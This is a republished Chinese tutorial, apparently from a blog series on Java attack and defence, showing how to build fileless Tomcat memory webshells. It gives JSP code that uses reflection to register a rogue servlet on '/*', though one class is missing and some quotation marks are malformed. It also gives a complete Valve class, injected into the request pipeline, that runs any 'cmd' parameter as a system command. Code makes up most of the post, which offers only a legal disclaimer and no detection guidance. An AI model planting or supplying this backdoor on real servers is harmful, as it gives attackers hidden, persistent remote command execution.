文章总结: 本文详细讲解Tomcat内存马的两种实现方式:Servlet型通过反射动态注册恶意Servlet处理请求,Valve型利用Pipeline机制拦截所有请求执行系统命令。文章提供完整代码示例展示如何获取StandardContext、创建Wrapper/Valve并注入到服务器,属于高级攻防技术实践。 综合评分: 78 文章分类: WEB安全,代码审计,红队,内网渗透,恶意软件
第113天-Java攻防|揭秘内存马:手搓代码实现Tomcat隐身术
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月28日 10:46 韩国
在小说阅读器读本章
去阅读
朋友们好!👋 在网络攻防的世界里,有一种技术如同“隐形刺客”,它不落地、无文件,悄无声息地潜伏在服务器的内存中,执行着攻击者的指令。它,就是内存马(Memory-resident Webshell)。
想不想知道这个“刺客”是如何诞生的?想不想亲手打造一个属于自己的内存马,深入理解其背后的原理?
今天,就让我们一起化身代码工匠,从零开始,手搓两种经典的 Tomcat 内存马——Servlet 型和 Valve 型,彻底征服这项高级攻防技术!💪
📜 Part 1:Servlet 内存马——“伪装的”服务员
🤔 是什么:Servlet 与内存马
首先,我们来了解一下 Servlet 是什么。简单来说,Servlet 是 Java 提供的一种服务器端小程序。当你在浏览器地址栏输入一个网址(如 /demo)时,Tomcat 服务器就会找到处理这个地址的 Servlet,让它来为你服务。
而 Servlet 内存马,就是利用 Java 的反射机制,在不修改任何配置文件(如 web.xml)的情况下,动态地向服务器注册一个新的、恶意的 Servlet。
🧐 为什么:动态注册的魔力
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.test.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
🛠️ 怎么做:三步实现 Servlet 内存马
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.68</version>
</dependency>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
org.apache.catalina.connector.Request req =
(org.apache.catalina.connector.Request) reqF.get(request);
org.apache.catalina.core.StandardContext context = (org.apache.catalina.core.StandardContext) req.getContext();
org.apache.catalina.Wrapper wrapper = context.createWrapper(); wrapper.setName(“testservlet”); wrapper.setServletClass(HelloServlet.class.getName()); wrapper.setServlet(new HelloServlet());
context.addChild(wrapper); context.addServletMappingDecoded(“/*”, “testservlet”);
%>
🌊 Part 2:Valve 内存马——“安插的”阀门
🛠️ 恶意 Valve 类
import org.apache.catalina.valves.ValveBase;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
public class MyEvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
java.io.PrintWriter writer = response.getWriter();
writer.println("Executing command: " + cmd);
java.lang.Runtime.getRuntime().exec(cmd);
return;
}
getNext().invoke(request, response);
}
}
🛠️ 注入 Valve
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
org.apache.catalina.connector.Request req = (org.apache.catalina.connector.Request) reqF.get(request);
org.apache.catalina.core.StandardContext context = (org.apache.catalina.core.StandardContext) req.getContext();
org.apache.catalina.Pipeline pipeline = context.getPipeline();
MyEvilValve evilValve = new MyEvilValve(); pipeline.addValve(evilValve);
%>
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第113天-Java攻防|揭秘内存马:手搓代码实现Tomcat隐身术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论